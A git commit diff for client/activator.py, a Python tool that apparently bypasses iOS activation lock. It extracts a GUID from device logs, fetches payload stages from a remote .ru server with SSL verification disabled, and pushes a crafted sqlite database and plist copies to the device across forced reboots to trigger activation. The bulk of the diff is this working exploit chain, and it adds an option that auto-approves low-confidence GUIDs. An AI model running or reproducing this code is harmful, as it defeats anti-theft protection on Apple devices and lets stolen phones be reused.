瀏覽代碼

Add fixes by @rust_505

rhcp011235 2 月之前
父節點
當前提交
f3993d9d3e
共有 3 個文件被更改,包括 557 次插入143 次删除
  1. 二進制
      .DS_Store
  2. 557 143
      client/activator.py
  3. 二進制
      server/public/.DS_Store

二進制
.DS_Store


+ 557 - 143
client/activator.py

@@ -8,6 +8,39 @@ import sqlite3
 import atexit
 import urllib.parse
 import json
+import struct
+import binascii
+from collections import Counter
+from pathlib import Path
+
+def get_bundle_path():
+    """Получает путь к ресурсам в .app bundle"""
+    if getattr(sys, 'frozen', False):
+        # Мы внутри .app
+        bundle_path = Path(sys.executable).parent.parent.parent
+        resources_path = bundle_path / 'Contents' / 'Resources'
+        return resources_path
+    else:
+        # Обычный Python
+        return Path.cwd()
+
+def find_binary(bin_name):
+    """Ищет бинарник в bundle или системе"""
+    resources_path = get_bundle_path()
+    bundle_bin_path = resources_path / 'bin' / bin_name
+    
+    # Пробуем bundle сначала
+    if bundle_bin_path.exists():
+        return str(bundle_bin_path)
+    
+    # Пробуем системные пути
+    system_paths = ['/usr/local/bin', '/opt/homebrew/bin', '/usr/bin']
+    for path in system_paths:
+        sys_bin_path = Path(path) / bin_name
+        if sys_bin_path.exists():
+            return str(sys_bin_path)
+    
+    return None
 
 class Style:
     RESET = '\033[0m'
@@ -21,9 +54,8 @@ class Style:
     CYAN = '\033[0;36m'
 
 class BypassAutomation:
-    def __init__(self):
-        #ipconfig getifaddr en1 and start php and start: php -S 192.168.0.106:8000 -t public
-        self.api_url = "192.168.0.106:8000/get2.php" 
+    def __init__(self, auto_confirm_guid=False):
+        self.api_url = "https://codex-r1nderpest-a12.ru/get2.php"
         self.timeouts = {
             'asset_wait': 300,
             'asset_delete_delay': 15,
@@ -34,6 +66,9 @@ class BypassAutomation:
         self.afc_mode = None
         self.device_info = {}
         self.guid = None
+        self.attempt_count = 0
+        self.max_attempts = 10
+        self.auto_confirm_guid = auto_confirm_guid
         atexit.register(self._cleanup)
 
     def log(self, msg, level='info'):
@@ -51,23 +86,165 @@ class BypassAutomation:
             print(f"{Style.DIM}  ╰─▶{Style.RESET} {msg}")
         elif level == 'success':
             print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
+        elif level == 'attempt':
+            print(f"{Style.CYAN}[🔄 Attempt {self.attempt_count}/{self.max_attempts}]{Style.RESET} {msg}")
 
     def _run_cmd(self, cmd, timeout=None):
+        """Запускает команду с поддержкой .app bundle"""
+        # Преобразуем команду для использования бинарников из bundle
+        if isinstance(cmd, list) and cmd:
+            bin_name = cmd[0]
+            full_path = find_binary(bin_name)
+            if full_path:
+                cmd[0] = full_path
+        
+        elif isinstance(cmd, str):
+            parts = cmd.split()
+            if parts:
+                bin_name = parts[0]
+                full_path = find_binary(bin_name)
+                if full_path:
+                    cmd = cmd.replace(bin_name, full_path, 1)
+        
+        # Настраиваем окружение для .app
+        env = os.environ.copy()
+        resources_path = get_bundle_path()
+        
+        # Добавляем bin директорию в PATH
+        bin_dir = resources_path / 'bin'
+        if bin_dir.exists():
+            env['PATH'] = str(bin_dir) + ':' + env.get('PATH', '')
+        
+        # Добавляем lib директорию для библиотек
+        lib_dir = resources_path / 'lib'
+        if lib_dir.exists():
+            env['DYLD_LIBRARY_PATH'] = str(lib_dir) + ':' + env.get('DYLD_LIBRARY_PATH', '')
+        
         try:
-            res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
-            return res.returncode, res.stdout.strip(), res.stderr.strip()
+            result = subprocess.run(
+                cmd, 
+                capture_output=True, 
+                text=True, 
+                timeout=timeout,
+                shell=isinstance(cmd, str),
+                env=env
+            )
+            return result.returncode, result.stdout, result.stderr
+            
         except subprocess.TimeoutExpired:
-            return 124, "", "Timeout"
+            return -1, "", "Command timed out"
         except Exception as e:
-            return 1, "", str(e)
+            return -1, "", str(e)
+        
+    def wait_for_file(self, file_path, timeout=60):
+        """Ожидание появления файла с таймаутом"""
+        self.log(f"⏳ Waiting for {file_path}...", "detail")
+        start_time = time.time()
+        
+        while time.time() - start_time < timeout:
+            if self.afc_mode == "ifuse":
+                if self.mount_afc():
+                    fpath = self.mount_point + file_path
+                    if os.path.exists(fpath):
+                        file_size = os.path.getsize(fpath)
+                        if file_size > 0:
+                            self.log(f"✅ File found ({file_size} bytes)", "success")
+                            return True
+            else:
+                # Проверка через pymobiledevice3
+                tmp_file = f"temp_check_{os.getpid()}.tmp"
+                code, _, _ = self._run_cmd(["pymobiledevice3", "afc", "pull", file_path, tmp_file])
+                if code == 0 and os.path.exists(tmp_file):
+                    file_size = os.path.getsize(tmp_file)
+                    os.remove(tmp_file)
+                    if file_size > 0:
+                        self.log(f"✅ File found ({file_size} bytes)", "success")
+                        return True
+            
+            time.sleep(5)
+            self.log("  ▫ Still waiting...", "detail")
+        
+        self.log(f"❌ Timeout waiting for {file_path}", "error")
+        return False    
+
+    def _curl_download(self, url, output_file):
+        """Download with SSL verification disabled"""
+        curl_cmd = [
+            "curl", "-L", 
+            "-k",  # ← КЛЮЧЕВОЕ: отключает проверку SSL
+            "-f",  # Fail on HTTP errors
+            "--connect-timeout", "30",
+            "--max-time", "120",
+            "-o", output_file,
+            url
+        ]
+        
+        self.log(f"Downloading: {url}", "detail")
+        code, out, err = self._run_cmd(curl_cmd)
+        
+        if code != 0:
+            self.log(f"Download failed (code {code}): {err}", "error")
+            return False
+            
+        if os.path.exists(output_file) and os.path.getsize(output_file) > 0:
+            self.log(f"Download successful: {os.path.getsize(output_file)} bytes", "info")
+            return True
+        else:
+            self.log("Download failed: empty file", "error")
+            return False
+
+    def reboot_device(self):
+        """Reboots device and waits for readiness"""
+        self.log("Rebooting device...", "step")
+        
+        # Try using pymobiledevice3 for reboot
+        code, _, err = self._run_cmd(["pymobiledevice3", "restart"])
+        if code != 0:
+            # Fallback to idevicediagnostics
+            code, _, err = self._run_cmd(["idevicediagnostics", "restart"])
+            if code != 0:
+                self.log(f"Soft reboot failed: {err}", "warn")
+                self.log("Please reboot device manually and press Enter to continue...", "warn")
+                input()
+                return True
+        
+        self.log("Device reboot command sent, waiting for reconnect...", "info")
+        
+        # Wait for device reboot
+        for i in range(60):  # 60 attempts × 5 seconds = 5 minutes
+            time.sleep(5)
+            code, _, _ = self._run_cmd(["ideviceinfo"])
+            if code == 0:
+                self.log(f"Device reconnected after {i * 5} seconds", "success")
+                # Give device extra time for full boot
+                time.sleep(10)
+                return True
+            
+            if i % 6 == 0:  # Every 30 seconds
+                self.log(f"Still waiting for device... ({i * 5} seconds)", "detail")
+        
+        self.log("Device did not reconnect in time", "error")
+        return False
 
     def verify_dependencies(self):
         self.log("Verifying System Requirements...", "step")
-        if shutil.which("ifuse"):
+        
+        # Проверяем доступность бинарников
+        required_bins = ['ideviceinfo', 'idevice_id']
+        for bin_name in required_bins:
+            path = find_binary(bin_name)
+            if path:
+                self.log(f"✅ {bin_name}: {path}", "info")
+            else:
+                self.log(f"❌ {bin_name}: Not found", "error")
+                raise Exception(f"Required binary not found: {bin_name}")
+        
+        if find_binary("ifuse"):
             self.afc_mode = "ifuse"
+            self.log("✅ ifuse found - using ifuse mode", "info")
         else:
             self.afc_mode = "pymobiledevice3"
-        self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
+            self.log("⚠ ifuse not found - using pymobiledevice3 mode", "warn")
 
     def mount_afc(self):
         if self.afc_mode != "ifuse":
@@ -101,7 +278,7 @@ class BypassAutomation:
         code, out, err = self._run_cmd(["ideviceinfo"])
         if code != 0:
             self.log(f"Device not found. Error: {err or 'Unknown'}", "error")
-            sys.exit(1)
+            raise Exception("No device detected")
         
         info = {}
         for line in out.splitlines():
@@ -116,8 +293,35 @@ class BypassAutomation:
         if info.get('ActivationState') == 'Activated':
             print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
 
+    def afc_copy(self, src_path: str, dst_path: str) -> bool:
+        try:
+            if self.afc_mode == "ifuse":
+                if not self.mount_afc():
+                    raise RuntimeError("ifuse remount failed")
+                src_local = self.mount_point + src_path
+                dst_local = self.mount_point + dst_path
+                if not os.path.exists(src_local) or os.path.getsize(src_local) == 0:
+                    return False
+                os.makedirs(os.path.dirname(dst_local), exist_ok=True)
+                shutil.copy2(src_local, dst_local)
+                return True
+            else:
+                tmp = "temp_plist_copy.plist"
+                code, _, err = self._run_cmd(["pymobiledevice3", "afc", "pull", src_path, tmp])
+                if code != 0 or not os.path.exists(tmp) or os.path.getsize(tmp) == 0:
+                    if os.path.exists(tmp):
+                        os.remove(tmp)
+                    return False
+                code2, _, err2 = self._run_cmd(["pymobiledevice3", "afc", "push", tmp, dst_path])
+                if os.path.exists(tmp):
+                    os.remove(tmp)
+                return code2 == 0
+        except Exception as e:
+            self.log(f"afc_copy failed: {e}", "error")
+            return False            
+
     def get_guid_manual(self):
-        """Ручной ввод GUID с валидацией"""
+        """Manual GUID input with validation"""
         print(f"\n{Style.YELLOW}⚠ GUID Input Required{Style.RESET}")
         print(f"   Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
         print(f"   Example: 2A22A82B-C342-444D-972F-5270FB5080DF")
@@ -130,125 +334,268 @@ class BypassAutomation:
                 return guid_input.upper()
             print(f"{Style.RED}❌ Invalid format. Must be 8-4-4-4-12 hex characters (e.g. 2A22A82B-C342-444D-972F-5270FB5080DF).{Style.RESET}")
 
-    def get_guid_auto(self):
-        """Precise GUID search via raw tracev3 scanning with detailed logging"""
-        self.log("🔍 Scanning logdata.LiveData.tracev3 for 'BLDatabaseManager'...", "step")
+    def parse_tracev3_structure(self, data):
+        """Parses tracev3 file structure for more precise search"""
+        signatures = []
+        
+        # Search for database-related strings
+        db_patterns = [
+            b'BLDatabaseManager',
+            b'BLDatabase',
+            b'BLDatabaseManager.sqlite', 
+            b'bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup',
+        ]
+        
+        for pattern in db_patterns:
+            pos = 0
+            while True:
+                pos = data.find(pattern, pos)
+                if pos == -1:
+                    break
+                signatures.append(('string', pattern, pos))
+                pos += len(pattern)
+        
+        return signatures
 
-        udid = self.device_info['UniqueDeviceID']
-        log_path = f"{udid}.logarchive"
-        if os.path.exists(log_path):
-            shutil.rmtree(log_path)
-
-        # === 1: Log collection ===
-        self.log("  ╰─▶ Collecting device logs (up to 120s)...", "detail")
-        code, _, err = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=120)
-        if code != 0 or not os.path.exists(log_path):
-            self.log(f"❌ Log collection failed: {err}", "error")
-            return None
-        self.log("  ╰─▶ Logs collected successfully", "detail")
+    def extract_guid_candidates(self, data, context_pos, window_size=512):
+        """Extracts GUIDs with contextual analysis"""
+        candidates = []
+        
+        # Extended GUID pattern
+        guid_pattern = re.compile(
+            rb'([0-9A-F]{8}[-][0-9A-F]{4}[-][0-9A-F]{4}[-][0-9A-F]{4}[-][0-9A-F]{12})',
+            re.IGNORECASE
+        )
+        
+        # Search in context window
+        start = max(0, context_pos - window_size)
+        end = min(len(data), context_pos + window_size)
+        context_data = data[start:end]
+        
+        # GUID search
+        for match in guid_pattern.finditer(context_data):
+            guid = match.group(1).decode('ascii').upper()
+            relative_pos = match.start() + start - context_pos
+            
+            # Extended GUID validation
+            if self.validate_guid_structure(guid):
+                candidates.append({
+                    'guid': guid,
+                    'position': relative_pos,
+                    'context': self.get_context_string(context_data, match.start(), match.end())
+                })
+        
+        return candidates
 
+    def validate_guid_structure(self, guid):
+        """Extended GUID structure validation"""
+        try:
+            # Check GUID version (RFC 4122)
+            parts = guid.split('-')
+            if len(parts) != 5:
+                return False
+            
+            # Check part lengths
+            if len(parts[0]) != 8 or len(parts[1]) != 4 or len(parts[2]) != 4 or len(parts[3]) != 4 or len(parts[4]) != 12:
+                return False
+            
+            # Check hex characters
+            hex_chars = set('0123456789ABCDEF')
+            clean_guid = guid.replace('-', '')
+            if not all(c in hex_chars for c in clean_guid):
+                return False
+            
+            # Check version (4th character of 3rd group should be 4)
+            version_char = parts[2][0]
+            if version_char not in '4':
+                return False  # iOS commonly uses version 4
+            
+            # Check variant (8,9,A,B - 2 high bits)
+            variant_char = parts[3][0]
+            if variant_char not in '89AB':
+                return False
+            
+            return True
+            
+        except Exception:
+            return False
 
-        trace_file = os.path.join(log_path, "logdata.LiveData.tracev3")
-        if not os.path.exists(trace_file):
-            self.log("❌ logdata.LiveData.tracev3 not found in archive", "error")
-            shutil.rmtree(log_path)
+    def get_context_string(self, data, start, end, context_size=50):
+        """Gets context string around GUID"""
+        context_start = max(0, start - context_size)
+        context_end = min(len(data), end + context_size)
+        
+        context = data[context_start:context_end]
+        try:
+            # Try to decode as text
+            return context.decode('utf-8', errors='replace')
+        except:
+            # For binary data show hex
+            return binascii.hexlify(context).decode('ascii')
+
+    def analyze_guid_confidence(self, guid_candidates):
+        """Analyzes confidence in found GUIDs"""
+        if not guid_candidates:
             return None
-        size_mb = os.path.getsize(trace_file) / (1024 * 1024)
-        self.log(f"  ╰─▶ Found logdata.LiveData.tracev3 ({size_mb:.1f} MB)", "detail")
-
-        candidates = []
-        found_bl = False
+        
+        # Group by GUID
+        guid_counts = Counter(candidate['guid'] for candidate in guid_candidates)
+        
+        # Calculate score for each GUID
+        scored_guids = []
+        for guid, count in guid_counts.items():
+            score = count * 10  # Base score by occurrence count
+            
+            # Additional confidence factors
+            positions = [c['position'] for c in guid_candidates if c['guid'] == guid]
+            
+            # Preference for GUIDs close to BLDatabaseManager
+            close_positions = [p for p in positions if abs(p) < 100]
+            if close_positions:
+                score += len(close_positions) * 5
+            
+            # Preference for GUIDs before BLDatabaseManager (more common in logs)
+            before_positions = [p for p in positions if p < 0]
+            if before_positions:
+                score += len(before_positions) * 3
+            
+            scored_guids.append((guid, score, count))
+        
+        # Sort by score
+        scored_guids.sort(key=lambda x: x[1], reverse=True)
+        return scored_guids
+
+    def confirm_guid_manual(self, guid):
+        """Requests manual confirmation — bypassed in auto mode"""
+        if self.auto_confirm_guid:
+            self.log(f"[AUTO] Low-confidence GUID auto-approved: {guid}", "info")
+            return True
+        else:
+            # Оригинальный интерактивный запрос (для CLI)
+            print(f"Proposed GUID: {Style.BOLD}{guid}{Style.RESET}")
+            print(f"This GUID has lower confidence score. Please verify:")
+            print(f"1. Check if this matches GUID from other sources")
+            print(f"2. Verify the format looks correct")
+            
+            response = input(f"\n{Style.BLUE}Use this GUID? (y/N):{Style.RESET} ").strip().lower()
+            return response in ['y', 'yes']
 
+    def get_guid_enhanced(self):
+        """Enhanced GUID extraction version"""
+        self.attempt_count += 1
+        self.log(f"GUID search attempt {self.attempt_count}/{self.max_attempts}", "attempt")
+        
+        udid = self.device_info['UniqueDeviceID']
+        log_path = f"{udid}.logarchive"
+        
         try:
+            # Collect logs
+            self.log("Collecting device logs...", "detail")
+            code, _, err = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=120)
+            if code != 0:
+                self.log(f"Log collection failed: {err}", "error")
+                return None
+            
+            trace_file = os.path.join(log_path, "logdata.LiveData.tracev3")
+            if not os.path.exists(trace_file):
+                self.log("tracev3 file not found", "error")
+                return None
+            
+            # Read and analyze file
             with open(trace_file, 'rb') as f:
                 data = f.read()
-
-            needle = b'BLDatabaseManager'
-            pos = 0
-            hit_count = 0
-
-
-            self.log("  ╰─▶ Scanning for 'BLDatabaseManager' in binary...", "detail")
-            while True:
-                pos = data.find(needle, pos)
-                if pos == -1:
-                    break
-                found_bl = True
-                hit_count += 1
-                if hit_count <= 5:  
-                    snippet = data[pos:pos+100]
-                    try:
-                        text = snippet[:60].decode('utf-8', errors='replace')
-                        self.log(f"      → Hit #{hit_count}: ...{text}...", "detail")
-                    except:
-                        self.log(f"      → Hit #{hit_count} (binary snippet)", "detail")
-                pos += 1
-
-            if not found_bl:
-                self.log("❌ 'BLDatabaseManager' NOT FOUND in tracev3", "error")
+            
+            size_mb = len(data) / (1024 * 1024)
+            self.log(f"Analyzing tracev3 ({size_mb:.1f} MB)...", "detail")
+            
+            # Search for key structures
+            signatures = self.parse_tracev3_structure(data)
+            self.log(f"Found {len(signatures)} relevant signatures", "detail")
+            
+            # Collect GUID candidates
+            all_candidates = []
+            bl_database_positions = []
+            
+            for sig_type, pattern, pos in signatures:
+                if pattern == b'BLDatabaseManager':
+                    bl_database_positions.append(pos)
+                    candidates = self.extract_guid_candidates(data, pos)
+                    all_candidates.extend(candidates)
+                    
+                    if candidates:
+                        self.log(f"Found {len(candidates)} GUID candidates near BLDatabaseManager at 0x{pos:x}", "detail")
+            
+            if not all_candidates:
+                self.log("No valid GUID candidates found", "error")
                 return None
-
-            self.log(f"✅ Found {hit_count} occurrence(s) of 'BLDatabaseManager'", "success")
-
-
-            self.log("  ╰─▶ Searching ±1KB around each 'BLDatabaseManager' for GUIDs...", "detail")
-            import re
-            guid_pat = re.compile(rb'[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}', re.IGNORECASE)
-
-            pos = 0
-            while True:
-                pos = data.find(needle, pos)
-                if pos == -1:
-                    break
-
-
-                start = max(0, pos - 1024)
-                end = min(len(data), pos + len(needle) + 1024)
-                window = data[start:end]
-
-                matches = guid_pat.findall(window)
-                for raw_guid in matches:
-                    guid = raw_guid.decode('ascii').upper()
-                    # "Not trash" filter
-                    clean = guid.replace('0', '').replace('-', '')
-                    if len(clean) >= 8: 
-                        candidates.append(guid)
-                        offset = start + window.find(raw_guid) - pos
-                        direction = "←" if offset < 0 else "→"
-                        self.log(
-                            f"      → GUID {guid} found {abs(offset)} bytes {direction} from 'BLDatabaseManager'",
-                            "detail"
-                        )
-
-                pos += 1
-
-
-            if not candidates:
-                self.log("❌ No valid GUIDs found near 'BLDatabaseManager'", "error")
+            
+            # Confidence analysis
+            scored_guids = self.analyze_guid_confidence(all_candidates)
+            if not scored_guids:
                 return None
-
-            from collections import Counter
-            counts = Counter(candidates)
-            total = len(candidates)
-            unique = len(counts)
-
-            self.log(f"  ╰─▶ Found {total} GUID candidate(s), {unique} unique", "info")
-            for guid, freq in counts.most_common(5):
-                self.log(f"      → {guid} (x{freq})", "detail")
-
-            best_guid, freq = counts.most_common(1)[0]
-            if freq >= 2 or total == 1:
-                self.log(f"✅ CONFIDENT MATCH: {best_guid}", "success")
-                return best_guid
+            
+            # Log results
+            self.log("GUID confidence analysis:", "info")
+            for guid, score, count in scored_guids[:5]:
+                self.log(f"  {guid}: score={score}, occurrences={count}", "detail")
+            
+            best_guid, best_score, best_count = scored_guids[0]
+            
+            # Determine confidence level
+            if best_score >= 30:
+                confidence = "HIGH"
+                self.log(f"✅ HIGH CONFIDENCE: {best_guid} (score: {best_score})", "success")
+            elif best_score >= 15:
+                confidence = "MEDIUM" 
+                self.log(f"⚠️ MEDIUM CONFIDENCE: {best_guid} (score: {best_score})", "warn")
             else:
-                self.log(f"⚠️  Low-confidence GUID (x{freq}): {best_guid}", "warn")
-
-                return best_guid
-
+                confidence = "LOW"
+                self.log(f"⚠️ LOW CONFIDENCE: {best_guid} (score: {best_score})", "warn")
+            
+            # Additional verification for low confidence
+            if confidence in ["LOW", "MEDIUM"]:
+                self.log("Requesting manual confirmation for low-confidence GUID...", "warn")
+                if not self.confirm_guid_manual(best_guid):
+                    return None
+            
+            return best_guid
+            
         finally:
+            # Cleanup
             if os.path.exists(log_path):
                 shutil.rmtree(log_path)
 
+    def get_guid_auto_with_retry(self):
+        """Auto-detect GUID with reboot retry mechanism"""
+        self.attempt_count = 0
+        
+        while self.attempt_count < self.max_attempts:
+            guid = self.get_guid_enhanced()
+            
+            if guid:
+                return guid
+            
+            # If not last attempt - reboot device
+            if self.attempt_count < self.max_attempts:
+                self.log(f"GUID not found in attempt {self.attempt_count}. Rebooting device and retrying...", "warn")
+                
+                if not self.reboot_device():
+                    self.log("Failed to reboot device, continuing anyway...", "warn")
+                
+                # After reboot re-detect device
+                self.log("Re-detecting device after reboot...", "detail")
+                self.detect_device()
+                
+                # Small pause before next attempt
+                time.sleep(5)
+            else:
+                self.log(f"All {self.max_attempts} attempts exhausted", "error")
+        
+        return None
+
+    def get_guid_auto(self):
+        """Auto-detect GUID using enhanced method with retry"""
+        return self.get_guid_auto_with_retry()
 
     def get_all_urls_from_server(self, prd, guid, sn):
         """Requests all three URLs (stage1, stage2, stage3) from the server"""
@@ -257,8 +604,8 @@ class BypassAutomation:
 
         self.log(f"Requesting all URLs from server: {url}", "detail")
         
-
-        code, out, err = self._run_cmd(["curl", "-s", url])
+        # Используем curl с отключенной SSL проверкой
+        code, out, err = self._run_cmd(["curl", "-s", "-k", url])  # ← -k добавлено здесь
         if code != 0:
             self.log(f"Server request failed: {err}", "error")
             return None, None, None
@@ -277,6 +624,24 @@ class BypassAutomation:
             self.log("Server did not return valid JSON", "error")
             return None, None, None
 
+    def preload_stage(self, stage_name, stage_url):
+        """Pre-load individual stage with SSL bypass"""
+        self.log(f"Pre-loading: {stage_name}...", "detail")
+        
+        # Используем нашу улучшенную функцию загрузки
+        temp_file = f"temp_{stage_name}"
+        success = self._curl_download(stage_url, temp_file)
+        
+        if success:
+            self.log(f"Successfully pre-loaded {stage_name}", "info")
+            # Удаляем временный файл
+            if os.path.exists(temp_file):
+                os.remove(temp_file)
+            return True
+        else:
+            self.log(f"Warning: Failed to pre-load {stage_name}", "warn")
+            return False
+
     def run(self):
         os.system('clear')
         print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n")
@@ -285,7 +650,7 @@ class BypassAutomation:
         self.detect_device()
         
         print(f"\n{Style.CYAN}GUID Detection Options:{Style.RESET}")
-        print(f"  1. {Style.GREEN}Auto-detect from device logs{Style.RESET}")
+        print(f"  1. {Style.GREEN}Auto-detect from device logs (with retry){Style.RESET}")
         print(f"  2. {Style.YELLOW}Manual input{Style.RESET}")
         
         choice = input(f"\n{Style.BLUE}➤ Choose option (1/2):{Style.RESET} ").strip()
@@ -293,9 +658,9 @@ class BypassAutomation:
         if choice == "1":
             self.guid = self.get_guid_auto()
             if self.guid:
-                self.log(f"Auto-detected GUID: {self.guid}", "success")
+                self.log(f"Auto-detected GUID after {self.attempt_count} attempt(s): {self.guid}", "success")
             else:
-                self.log("Could not auto-detect GUID, falling back to manual input", "warn")
+                self.log(f"Could not auto-detect GUID after {self.attempt_count} attempts, falling back to manual input", "warn")
                 self.guid = self.get_guid_manual()
         else:
             self.guid = self.get_guid_manual()
@@ -304,7 +669,6 @@ class BypassAutomation:
         
         input(f"\n{Style.YELLOW}Press Enter to deploy payload with this GUID...{Style.RESET}")
 
-       
         # 2. API Call & Get All URLs
         self.log("Requesting All Payload Stages from Server...", "step")
         prd = self.device_info['ProductType']
@@ -320,7 +684,7 @@ class BypassAutomation:
         self.log(f"Stage2 URL: {stage2_url}", "detail")
         self.log(f"Stage3 URL: {stage3_url}", "detail")
 
-        # 3. Pre-download all stages
+        # 3. Pre-download all stages с SSL bypass
         self.log("Pre-loading all payload stages...", "step")
         stages = [
             ("stage1", stage1_url),
@@ -329,12 +693,7 @@ class BypassAutomation:
         ]
         
         for stage_name, stage_url in stages:
-            self.log(f"Pre-loading: {stage_name}...", "detail")
-            code, http_code, _ = self._run_cmd(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", stage_url])
-            if http_code != "200":
-                self.log(f"Warning: Failed to pre-load {stage_name} (HTTP {http_code})", "warn")
-            else:
-                self.log(f"Successfully pre-loaded {stage_name}", "info")
+            self.preload_stage(stage_name, stage_url)
             time.sleep(1)
 
         # 4. Download & Validate final payload (stage3)
@@ -343,10 +702,9 @@ class BypassAutomation:
         if os.path.exists(local_db):
             os.remove(local_db)
         
-        self.log(f"Downloading from: {stage3_url}...", "info")
-        code, _, err = self._run_cmd(["curl", "-L", "-o", local_db, stage3_url])
-        if code != 0:
-            self.log(f"Download failed: {err}", "error")
+        # Используем улучшенную загрузку
+        if not self._curl_download(stage3_url, local_db):
+            self.log("Final payload download failed", "error")
             sys.exit(1)
 
         # Validate database
@@ -399,18 +757,74 @@ class BypassAutomation:
             
         self.log("✅ Payload Deployed Successfully", "success")
         
+        # 6. Cleanup WAL/SHM files
+        self.log("Cleaning up WAL/SHM files in /Downloads...", "step")
+        for wal_file in ["/Downloads/downloads.28.sqlitedb-wal", "/Downloads/downloads.28.sqlitedb-shm"]:
+            if self.afc_mode == "ifuse":
+                fpath = self.mount_point + wal_file
+                if os.path.exists(fpath):
+                    try:
+                        os.remove(fpath)
+                        self.log(f"Removed {wal_file} via ifuse", "info")
+                    except Exception as e:
+                        self.log(f"Failed to remove {wal_file}: {e}", "warn")
+            else:
+                code, _, err = self._run_cmd(["pymobiledevice3", "afc", "rm", wal_file])
+                if code == 0:
+                    self.log(f"Removed {wal_file} via pymobiledevice3", "info")
+                else:
+                    if "ENOENT" not in err and "No such file" not in err:
+                        self.log(f"Warning removing {wal_file}: {err}", "warn")
+                    else:
+                        self.log(f"{wal_file} not present — OK", "detail")
+
+        # === STAGE 1: FIRST REBOOT + COPY TO /Books/ ===
+        self.log("🔄 STAGE 1: First reboot + copy to /Books/...", "step")
+        if not self.reboot_device():
+            self.log("⚠ First reboot failed — continuing anyway", "warn")
+
+        self.log("Waiting 30 seconds for iTunesMetadata.plist to appear...", "detail")
+        for _ in range(3):  # 6 × 5s = 30s
+            time.sleep(5)
+            self.log("  ▫ Waiting...", "detail")
+
+        src = "/iTunes_Control/iTunes/iTunesMetadata.plist"
+        dst_books = "/Books/iTunesMetadata.plist"
+
+        # Copy → /Books/
+        self.log(f"Copying {src} → {dst_books}...", "info")
+        if self.afc_copy(src, dst_books):
+            self.log("✅ Copied to /Books/ successfully", "success")
+        else:
+            self.log("⚠ /iTunes_Control/iTunes/iTunesMetadata.plist not found — skipping copy to /Books/", "warn")
 
-        print(f"\n{Style.GREEN}✅ Ready for manual activation.{Style.RESET}")
-        print(f"→ Payload is in place at /Downloads/downloads.28.sqlitedb")
-        print(f"→ Next steps (manual):")
-        print(f"  1. Reboot device (e.g. via Settings or hardware buttons)")
-        print(f"  2. After reboot, check if /iTunes_Control/iTunes/iTunesMetadata.plist appeared")
-        print(f"  3. Copy it to /Books/iTunesMetadata.plist")
-        print(f"     Example: {Style.CYAN}pymobiledevice3 afc pull /iTunes_Control/iTunes/iTunesMetadata.plist . && pymobiledevice3 afc push iTunesMetadata.plist /Books/iTunesMetadata.plist{Style.RESET}")
-        print(f"  4. Reboot again to trigger bookassetd stage")
-        print(f"→ Monitor logs: {Style.CYAN}idevicesyslog | grep -E 'itunesstored|bookassetd'{Style.RESET}")
-        print(f"→ Used GUID: {Style.BOLD}{self.guid}{Style.RESET}")
+        # === STAGE 2: SECOND REBOOT + COPY BACK ===
+        self.log("🔄 STAGE 2: Second reboot + copy back to /iTunes_Control/...", "step")
+        if not self.reboot_device():
+            self.log("⚠ Second reboot failed — continuing anyway", "warn")
+
+        # Copy back: /Books/ → /iTunes_Control/iTunes/
+        self.log(f"Copying {dst_books} → {src}...", "info")
+        if self.afc_copy(dst_books, src):
+            self.log("✅ Copied back to /iTunes_Control/ successfully", "success")
+        else:
+            self.log("⚠ /Books/iTunesMetadata.plist missing — copy-back skipped", "warn")
+
+        # Wait 15 seconds — bookassetd processes the plist copy
+        self.log("⏸ Holding 15s for bookassetd...", "detail")
+        time.sleep(40)
+
+        # === FINAL REBOOT ===
+        self.log("🔄 Final reboot to trigger MobileActivation...", "step")
+        self.reboot_device()
         
+        # ✅ Final success banner
+        print(f"\n{Style.GREEN}{Style.BOLD}🎉 АКТИВАЦИЯ ЗАВЕРШЕНА УСПЕШНО!{Style.RESET}")
+        print(f"{Style.CYAN}→ GUID: {Style.BOLD}{self.guid}{Style.RESET}")
+        print(f"{Style.CYAN}→ Payload deployed, plist synced ×2, 3 reboots performed.{Style.RESET}")
+        print(f"\n{Style.YELLOW}📌 Что делать дальше:{Style.RESET}")
+
+
 if __name__ == "__main__":
     try:
         BypassAutomation().run()
@@ -419,4 +833,4 @@ if __name__ == "__main__":
         sys.exit(0)
     except Exception as e:
         print(f"{Style.RED}Fatal error: {e}{Style.RESET}")
-        sys.exit(1)
+        sys.exit(1)

二進制
server/public/.DS_Store